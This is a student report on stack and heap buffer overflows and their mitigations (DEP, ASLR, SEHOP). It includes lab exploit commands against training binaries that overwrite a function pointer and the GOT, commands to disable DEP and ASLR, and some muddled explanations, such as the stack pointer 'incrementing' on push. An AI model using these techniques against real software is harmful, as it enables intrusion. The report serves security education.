Slovak University of Technology in Bratislava

Faculty of Informatics and Information Technologies

Stack overflow, Heap overflow, protection mechanisms

Supervisor: Ing. Milan Pikula

Student: Bc. Abd alrahman saleh
November 2021

1
Contents
Buffer Overflow Attacks ................................................................................................................................ 3
The Stack in the memory: ......................................................................................................................... 3
Important pointers to know: ................................................................................................................ 3
Exploiting stack overflows (assuming the buffer in the program stack): ............................................. 9
The Heap in the memory: ....................................................................................................................... 10
Stack vs Heap: ..................................................................................................................................... 11
Exploiting heap overflows (assuming the buffer is located on the heap): ......................................... 12
Mitigating buffer overflows: ................................................................................................................... 16
DEP (Data Execution Prevention):....................................................................................................... 16
ASLR (Address Space Layout Randomization) ..................................................................................... 18
SEHOP Structured Exception Handling Overwrite Protection ............................................................ 20
Resources: ................................................................................................................................................... 21

2
Buffer Overflow Attacks
The buffer could be located on the stack, in the heap, or in the data section of the process.

The Stack in the memory:

According to my research most often buffer overflows occur on the Stack, which can cause a process to
crash, leak information inside the program, and even force the process to spawn new processes.

The stack is just a form of memory buffer that is used to temporarily store data which is now being
utilized by the process or will be needed.

Adding data to a stack is LIFO performed using

• PUSH operation:
o Updates the stack pointer (to lower memory address).
o Stores the data where the stack pointer is pointing now.

Removing data is performed using a

1. POP operation:
o Retrieves the data where the stack pointer is pointing now
o Update the stack pointer.

Important pointers to know:

Stack pointer:
We use a register called the stack pointer, abbreviated as SP, to keep track of where to read and write
the next data item.

To copy or push a data item to the stack, the cpu must first update the stack pointer to represent the
memory location of the next accessible element on the stack that a pop operation would return data
from, and then copy the data item being pushed.

The stack pointer value is increased to the memory address of the next element on the stack each time
the program needs to push a data item onto the stack, and the data item is written to that memory
address to push it into the stack.

3
Example:

Data: Abdo
Before After first push

0x10000c

0x100008 0x10000c
0

0
0x100008
0

0
0x100004

0x100004
0

0
0x0fffffc 0x100000

0x0fffffc 0x100000
A
0

0
Something Something

This is done for each data item being pushed onto the stack, therefore a push operation is just
incrementing a memory address value and putting data into the stack at that memory location. A push
operation simply transfers data from its source place to the stack, leaving the original data untouched.

The stack pointer always leads to the next position in the stack to pop from, so we copy the data at the
memory address specified in the stack pointer, and then decrease the stack pointer value so it is
pointing to the next element in the stack to pop from.

When a push operation is performed, the data at the next address location is replaced, and nothing is
taken from the stack when a pop action is performed.

4
Stack frame:
A stack frame is a logical grouping of similar pieces, or, to put it another way, related bits of data are
typically kept at neighboring spots on the stack, when a function in the program is called, a stack frame
is produced on the stack, and when the function returns, the frame is removed from the stack.

A frame pointer or base pointer in a stack frame indicates which frame belongs to the currently running
function.

Stack Frame contains (depends on the compiler and options (while compiling)):

1. Function parameters
- If there are no function parameters, then there is no reserved memory location for them.
2. Return address
3. Padding (Potentially)
4. Old frame pointer
- At the beginning usually it’s NULL
5. Local variables.
6. Padding (Potentially)

Example: A simple C code:

Stack frames for the example1.c file:

int z
Previous Frame
address
Stack Frame
Return address
funct_1
Function parameters int x

int Buffer [32]

Result Stack Frame
Previous Frame main
Previous frame (NULL)
pointer
Return address
5
The instruction pointer (program counter, rip) points to the location in memory that contains the next
machine language instruction that is set to be executed by the CPU.

We can control what program instructions are executed by the CPU by changing the given (next) value
of the instruction pointer, and those instructions do not have to be in the program's code segment.

When does the stack overflow happen?

So, the buffer overflow happens which the written data to a buffer exceeds the boundaries of the
buffer, in other words the length of the data written is longer than the buffer.

If the buffer is allocated to memory on the program's stack that extra data overflowing the buffer will
overwrite other data present in the stack.

Example2.c

Buffer (16)

Frame pointer
(Main FP)
Return address Stack Frame
funct_1
Function
parameters
(*programmeName)

Frame pointer
(NULL)
Return address
Stack Frame
Function main
parameters
(argc, argv[])

6
So, what the example2.c does it is actually the main function calling func_1 and passing to it the name of
the program stored in the argument vector 0 function parameter.

In func_1 this value is given the function parameter name *programmeName, then the func_1 declares
a character array 16 characters or bytes in length, this local variable is automatically created on the
stack, then uses the strcpy function to copy the name of the program to the buffer, and then returns to
main.

So here we go, what if the name of the file is longer than 15 (considering that the last array spot is
reserved to “/0”).

Compiling on 64bit linux operating system resulting 32bit compiled version, caused a problem which
was solved on UBUNTU by this command

• $ Sudo apt-get install gcc-multilib

Running the program for name myprogram (9 length)

m y p r o g r a m \0

Example for debugging: Frame pointer

(Main FP)
Return address
Function
parameters
(*programmeName)

Frame pointer
(NULL)
Return address
Function
parameters
(argc, argv[])

7
Running the program for name myprogram.exe (13 length)

myprogram.e
x e \0

Frame pointer
(Main FP)
Return address
Function
parameters
(*programmeName)

Frame pointer
(NULL)
Return address
Function
parameters
(argc, argv[])

Running the program for name myprogramrocks! (15 length) + .exe (18) + (\0) = 19 length

myprogramro
cks!.

e x e \0
Return address
Function
parameters
(*programmeName)

Frame pointer
(NULL)
Return address
Function
parameters
(argc, argv[])

8
How the Instruction pointer change?
1. Automatically, after each instruction, it gets incremented (by the length of the previous
instruction).
2. By instruction JMP, which sets the IP to the value provided.
3. By instruction CALL.
4. By instruction RET.

Exploiting stack overflows (assuming the buffer in the program stack):

1. The attack code must be inserted into a software with a buffer overflow vulnerability's input
buffer.
2. An important part of this overwrite is to place the memory address at the beginning of the
exploit code in the stack to overwrite the return address in the stack frame.
3. The attack code overflows the buffer and overwrites the return address in the current stack
frame.
4. By overwriting the return address, the attacker can control what code instruction is executed
next by the CPU.
5. Finally, when the function returns, the instruction pointer is loaded with the memory address
of the injected code, causing the CPU to begin executing the exploit code.

9
The Heap in the memory:
Inside of each running application is a counterpart to the stack referred to as the heap, heap memory is
likewise used to save information this is utilized by a running application but the heap can develop and
cut back in length as wanted.

Because of its capacity to allocate and release memory blocks on demand as process code requires,
the heap is commonly referred to as dynamic memory.

A memory heap is a region of memory used to temporarily store data while a program is executing. The
word heap indicates that this area of memory includes a collection of objects heaped on top of each
other. That’s all a memory heap is.

The basic idea is that when a process is started, a big chunk of system memory is set aside for it. With
libc allocator used in Linux, the memory space is crammed with chunks, which are memory
management structures.

The internal implementations of the memory allocators malloc(), free(), realloc(), and other libc
functions determine the actual layout of the heap and how the chunks are grouped.

The memory allocator provides small parts of this area to the application on demand (the application
usually calls malloc() to request the memory). In order to be able to do so, it has to keep track of the
allocated and free memory. The exact implementation of this book keeping may be different depending
on internal implementation of the memory allocator.

A chunk header precedes each chunk, which is a fixed-length piece of heap memory, and to allocate a
block in the heap, one or more chunks are reserved.

The memory address at the start of the block is returned to the program so it may read and write data
to it, and the block's allocated memory is released back to the heap when it is no longer needed,
allowing chunks to be allocated to additional memory blocks as needed.

The key to understanding the heap is in the structure and management of its chunks.

Example of chunk:
H 0 1 2 3 4 5 6 7

The chunk's header includes details about the chunk, such as its size.

1. Type of chunk
2. Chunk size in bytes
3. Memory address of the chunks before the chunk
4. Memory address of the chunks after the chunk.

10
Each chunk knows the location of its neighboring chunks so that the heap contains one long linked chain
of chunks.

H 0 1 2 3 4 5 6 7

H M I L A N p I K

H A B D O S A L H

This linkage is required for the heap memory manager to walk through each chunk and determine if it is
assigned to a heap memory block or not, allowing blocks to be built from chunks that are not physically
close to each other in heap memory.

Stack vs Heap:

Stack Heap

Position Data Critical Low

items location (just enough memory space)
importance
Address allocation Int buffer [32]; Int *buffer = (int *) malloc(20);

Memory OS programmer
management
Memory usage Automatically By programmer

Type of data linear hierarchical

structures

11
Exploiting heap overflows (assuming the buffer is located on the heap):
If we can rewrite the pointers either the “book pointers” that the memory allocator uses to connect the
chunks, or the pointers that the application stores in the allocated memory, we will be able to

1. reroute the program execution flow (a or b).

a. By changing the return address on stack before some functions returns
b. By changing some function pointer before the function is called.
2. leak the data.
3. crash the process

In other words, we will be able to use these pointers for arbitrary read or write in the address space
of the process.

By redirecting the instruction pointer to the location of the code in heap memory, code placed in heap
memory may be executed exactly like code in the stack.

Gaining access to a heap buffer large enough to carry the complete attack code and then locating the
memory address before the first instruction of the code is the tough part.

One of the most important things that we should know is where the buffer is located, on the stack or
the heap

Example – example-heap-1.c

12
Explanation:
We have two pointers defined on the heap.

The fp pointer is calling a function which means if we are able to change the value of it to a some other
function, we will be able to change the flow of execution.

What we need to do is:

• Find data address on the heap

a. run the program with AAAA input
b. search for the pattern AAAA
i. gdb -q ./ex-heap-1 (I have installed gef)

After searching we found that the data exists on 0x804d5b0

c. let’s find the fp pointer address
it’s supposed to be a little bit after the data, far of (64 bytes + some metadata)

It’s 80bytes far away

• find the target function address

in our case we will be looking for the winner function address which we can get by
disassembling the winner function.
As a result we get the winner function address 0x08049236

• Exploit it:

./ex-heap-1 $(python -c 'print "A"*80 + "\x36\x92\x04\x08"')

13
Example – ex-heap-2 :

14
Explanation:
• Set break point at the address after last strcpy
a. gef➤ break *0x080492a9
• Run the program with pattern AAAA BBBB to find the data array address in the heap
a. gef➤ run AAAA BBBB
• SEARCH FOR AAAA pattern
a. gef➤ search-pattern AAAA

• Find the winner address

a. gef➤ disassemble winner

• Find the printf address in got

0x080492b6 <+192>: call 0x80490c0 <puts@plt>

Winner address => ex-heap-2-input-2

• echo -e "\xce\x92\x04\x08" > ex-heap-2-input-2
Payload + Printf got address => ex-heap-2-input-1

for I in `seq 10 30`; do echo "I is $I"; (echo -ne $(python -c 'print "A"*'$I); echo -ne
"\x18\xc0\x04\x08") > ex-heap-2-input-1 ; ./ex-heap-2 $(cat ex-heap-2-input-1) $(cat ex-heap-2-
input-2) ; done

15
Mitigating buffer overflows:
The term Mitigation to indicate the reduction of the potential harmful effects of a threat, whether the
threat has been realized or not.

The term Remediation to describe the recovery and restoration effort after the potential effects of a
threat have been realized.

In fact, we can’t prevent 100% all attempted exploits

The techniques used to Mitigate buffer overflows can be grouped into two categories, active or passive.

Active Mitigation techniques require that a threat be recognized, and the appropriate countermeasures
be applied.

In contrast, passive Mitigation techniques need only be applied and enabled to work, and do not
require recognition of the presence of a threat.

• Employ security configurations at the kernel:

1. DEP (Data Execution Prevention)
2. ASLR (Address Space Layout Randomization)
3. SEHOP (Structured Exception Handling Overwrite Protection

DEP (Data Execution Prevention):

It's a CPU feature that prohibits code from being executed in data-storage sections of memory.

By default, a computer's memory is readable, writeable, and executable, allowing data in code to be
saved and retrieved in memory, as well as code to be transferred to the CPU for execution.

As a result, the stack and heap memory used by our process are likewise executable by default.

As a result, exploit code that has overflowed in the stack and heap can be executed by rerouting the
CPU's execution path. instruction pointer to it.

How DEP works:

DEP operates by designating pages of memory to tell the CPU that code execution is not permitted from
that location.

The actual marker is a binary flag value known as the NX bit, which stands for No execute.

When the NX bit on a memory page is set, no program may be executed from that page.

If a process tries to transfer instructions from that page to the CPU, the process will be killed instantly.

DEP is effective at preventing code execution caused by buffer overflows that inject executable code
into a process' stack and heap because of this characteristic.

16
DEP is a system and CPU safety function that is both hardware and software based.
The NX bit is also known as the XD bit, which stands for Execute Disabled, and the Execute Disable Bit in
Intel CPUs.
Hardware DEP allows all memory in an operating system to be protected from execution.
Execution prevention can be applied solely to certain running user programs, or only to the program's
drivers and binary files connected with the operating system itself, using software-controlled DEP.
Software DEP can provide some security even if the CPU does not support hardware-based DEP.
How to enable in Linux?
It's enabled by default on Linux

How to disable it on Linux?

- Edit grub file:
o $ sudo gedit /etc/default/grub
- Add noexec noexec32 to GRUB_CMDLINE_LINUX_DEFAULT value
o GRUB_CMDLINE_LINUX_DEFAULT = “whatever was before noexec noexec32”
- Save and reboot

How to check it?

- $ dmesg | grep NX

How to enable or disable it on a specific executable file?

- $ execstack –s someprogam
o -s turn it on
- $ execstack –c someprogam
o -c turn it off
- execstack –q someprogam
o -q check the status of DEP

Is DEP hackable?
Yes, it’s, Gaining by the administrator (root) privileges.

- Find the way to root

How to prevent the defatting?

- Usage of complex passwords
- Two-factor authentication
- Limit number of people with admin privileges

17
ASLR (Address Space Layout Randomization)
The predictability of a process's virtual memory environment is one of the reasons why buffer overflow
attacks work so effectively.

Each time a program is run, the stack, heap, and system resources are at the same memory locations.

When attacking a system, having the tools you need constantly at or near certain memory locations is a
huge advantage. To counteract this, the ASLR approach randomly positions the stack, heap, and system
resources in process memory and that will cause removing the predictability from the process
environment that most buffer overflow exploits depend on.

How does it work?

0x3000

0x2500
Process Memory

Process Memory Process Memory

Overflow exploit Overflow exploit Overflow exploit

Process stack Process stack Process stack

\

Many overflow exploits assume to call a function at the same memory address, but because ASLR loads
the executable file from a random memory location, the overflow's execution redirection fails to find
the function where it expects, and the outcome is unknown.

ASLR Heap Randomization:

ASLR also modifies the memory location and start of the process heap.

A heap overflow injects exploit code into local heap memory and then tries to redirect the point of
execution to the exploit code, which is aided by the fact that the heap's beginning is always in the same
virtual address in every process.

ASLR modifies the heap's base address, making it more difficult for the overflow condition to locate the
exploit code's start.

The stack's position in process memory can also be altered. Creating the process stack at a randomly
selected memory location determined by ASLR, will make it much more difficult for the injected exploit
payload to be successfully found and executed.

18
How to enable on linux:
- $ sudo sysctl -a | grep kernel.randomize_va_space

How to disable on linux:

- $ sudo sysctl -w kernel.randomize_va_space=0

Is ASLR hackable?
The randomizing effects of ASLR in system libraries and memory are only applied at system start-up and
are applied identically to the entire system, which means that all processes will have their system
resources loaded at the same randomly chosen memory locations until the next time the system is
restarted.

Once we know where a resource and one process are in memory, we know where they are in all
processes until the next reboot.

The memory locations picked by ASLR are not completely random; they are chosen by ASLR at random
from a large number of memory addresses.

The second-most significant byte of the memory address is randomized to select the memory location.

- 0xFFFFXXZZ.

This means that there are only 256 random memory location selections available to choose.

- We can bruteforce it.

19
SEHOP Structured Exception Handling Overwrite Protection
The operating system incorporates SEH information into each stack frame.

Each function can now register its own set of exception handlers.

Exception registration record exception handlers and the memory location of the next record are used
to find each exception handler in memory.

When searching for a specific exception handler to execute, Windows uses this linkage to step through
each record.

SEHOP validates that the pointer in the record chains is correct each time an exception is raised.

The correct exception handler is invoked if the linking points are accurate.

The address of an exception handler may have been substituted with a memorandum if a stack overflow
has happened.

Address of next SEH record Local variables

Address of next exception handler 1
Frame pointer

Address of next SEH record Return address

Address of next exception handler 2
Functional parameters

Address of next SEH record

SEH BLOCK

Address of next exception handler 3

Address of next SEH record

Address of next exception handler 4

20
Resources:

[1] https://askubuntu.com/questions/32441/does-ubuntu-use-security-features-like-dep-and-alsr

[2] https://gist.github.com/joswr1ght/a45d000ceaccf4cce6cb

[3] https://support.microsoft.com/en-us/topic/emet-mitigations-guidelines-b529d543-2a81-7b5a-d529-
84b30e1ecee0

[4] https://www.youtube.com/channel/UCJfVYTHdaZKILBCesyBb37w/playlists

[5] http://www.jsums.edu/nmeghanathan/files/2015/05/CSC437-Fall2013-Module-5-Buffer-Overflow-
Attacks.pdf?x61976

[6]https://www.usna.edu/ECE/ec312/Lessons/host/EC312_Lesson_8_Buffer_Overflow_Attack_Course_
Notes.pdf

[7] https://exploit.education/phoenix/

[8] https://www.networkworld.com/article/3331199/what-does-aslr-do-for-linux.html

21